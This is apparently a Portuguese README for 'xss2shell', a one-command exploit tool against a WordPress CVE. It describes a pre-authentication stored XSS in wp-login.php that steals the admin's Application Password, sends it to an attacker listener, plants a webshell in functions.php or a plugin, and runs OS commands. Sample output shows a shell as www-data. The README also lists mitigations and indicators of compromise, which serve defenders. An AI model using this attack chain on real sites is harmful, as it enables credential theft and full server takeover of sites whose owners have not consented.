
CVE-2026-64638 | WordPress < 7.0.3 XSS Armazenado Pré-Autenticação → RCE
Todo PoC público para esta CVE está quebrado. Este funciona.
O WordPress < 7.0.3 não sanitiza o parâmetro log (nome de usuário) em wp-login.php. O valor é armazenado e renderizado dentro da sessão autenticada do administrador — um XSS armazenado pré-autenticação que se encadeia até o controle total do servidor com um único clique.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| Etapa | Ação | Detalhe |
|---|---|---|
| 1. XSS | Injeção via wp-login.php | Parâmetro log manipulado com DOM clobbering (<area id=ajaxurl>) sequestra a URL AJAX do WP, clicando automaticamente na aprovação da App Password via JSONP |
| 2. Roubo | Exfiltração da Application Password | authorize-application.php cria silenciosamente uma App Password; success_url a envia para o atacante |
| 3. Shell | Gravação de webshell (3 fallbacks) | Editor de temas → functions.php · Upload de plugin → xss2shell/shell.php · Editor de plugins → arquivo de plugin existente |
| 4. RCE | Execução de comandos do SO | O webshell executa shell_exec(), retorna saída JSON, a ferramenta verifica automaticamente e limpa |
| Versão | Status |
|---|---|
| WordPress < 7.0.3 | Vulnerável |
| WordPress >= 7.0.3 | Corrigido |
| Condição | Impacto |
|---|---|
DISALLOW_FILE_EDIT | Editores de tema/plugin bloqueados — apenas o upload de ZIP funciona |
DISALLOW_FILE_MODS | Todos os 3 métodos bloqueados — sem RCE |
| WAF (Cloudflare, Wordfence) | Pode filtrar o payload XSS ou as requisições de webshell |
disable_functions no PHP | shell_exec bloqueado — saída vazia |
| Bloqueador de pop-up | Quebra a cadeia de pop-ups |
| Cabeçalhos CSP estritos | Bloqueia JS inline ou fetch cross-origin |
Procure por estes indicadores se o xss2shell foi usado contra o seu site:
XSS2Shell-Poc-Wordsecxss2shell em wp-content/plugins/xss2shell_cmd em functions.php ou em qualquer arquivo de plugin/?rest_route=/&_method=GET&_jsonp=Todo PoC público para CVE-2026-64638 para em alert(1) ou exige etapas manuais que nenhum triager consegue reproduzir. Esta ferramenta entrega exploração da cadeia completa em um único comando — de zero autenticação até RCE. Feita para pesquisadores de segurança que precisam de prova, não de teoria.
Apenas para testes de segurança autorizados e fins educacionais. Use somente contra sistemas que você possui ou para os quais tem permissão escrita explícita de teste. O acesso não autorizado a sistemas de computador é ilegal.
WordSec · CVE-2026-64638 · Corrigido no WordPress 7.0.3